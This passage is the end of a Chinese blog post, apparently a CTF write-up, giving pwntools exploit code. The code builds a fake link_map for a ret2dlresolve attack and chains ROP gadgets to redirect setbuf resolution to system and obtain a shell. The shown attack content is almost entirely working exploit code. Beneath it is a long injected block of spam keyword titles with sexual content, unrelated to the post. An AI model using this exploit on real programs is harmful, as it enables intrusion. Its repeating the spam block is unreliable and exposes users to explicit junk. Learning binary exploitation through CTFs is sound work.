          linkmap = linkmap.ljust(0x68, b'A')
          linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 對應的值的是DT_STRTAB的地址,由于我們用不到strtab,所以隨意設置了一個可讀區(qū)域
          linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 對應的值是DT_SYMTAB的地址
          linkmap = linkmap.ljust(0xf8, b'A')
          linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 對應的值是DT_JMPREL的地址
          return linkmap
      
      #gdb.attach(p, 'b *0x4013E8')
      
      s(b'a'*0x30 + p64(buf) + p64(rsi_r15) + p64(buf)*2 + p64(elf.sym['read']) + p64(rdi) + p64(buf + 0x48) + p64(ret) + p64(PLT1) + p64(buf) + p64(0))
      sleep(2)
      fake_link_map = fake_Linkmap_payload(buf, elf.got['setbuf'], libc.sym['system'] - libc.sym['setbuf'])
      s(fake_link_map)
      
      inter()
      #pause()

      參考:https://blog.csdn.net/qq_51868336/article/details/114644569 CTF 競賽權(quán)威指南

      posted @ 2023-04-19 22:59  xshhc  閱讀(811)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 亚洲一区二区三上悠亚| 日韩a∨精品日韩在线观看| 国产无人区码一区二区| 日韩有码中文字幕国产| 激情五月日韩中文字幕| 国产二区三区不卡免费| 国产乱码一区二区三区免费| 黑人巨茎大战欧美白妇| 国内自拍视频一区二区三区| 日本一本无道码日韩精品| 人妻精品动漫h无码| 精品无码三级在线观看视频| 热久久美女精品天天吊色| 狠狠五月深爱婷婷网| 日韩精品人妻av一区二区三区| 免费无码国模国产在线观看| 欧美大胆老熟妇乱子伦视频| 欧美色欧美亚洲另类二区| 日韩av熟女人妻一区二| 成人又黄又爽又色的视频| 在线无码免费的毛片视频| 人妻系列中文字幕精品| 日韩精品卡1卡2日韩在线| 亚洲精品国偷拍自产在线观看蜜臀| 成人亚欧欧美激情在线观看| 18禁无遮拦无码国产在线播放| 免费又黄又爽又猛的毛片| 中文字幕国产日韩精品| 国产亚洲欧洲av综合一区二区三区 | 国产精品伦人视频免费看| 日本熟妇乱一区二区三区| 日本成熟少妇喷浆视频| 亚洲AV日韩AV综合在线观看 | 在线 欧美 中文 亚洲 精品| 国产精品综合色区av| 国产激情一区二区三区午夜 | 国产性色的免费视频网站| 乌什县| 中文字幕亚洲男人的天堂| 亚洲精品无码成人A片九色播放| 精品国产av一区二区三区|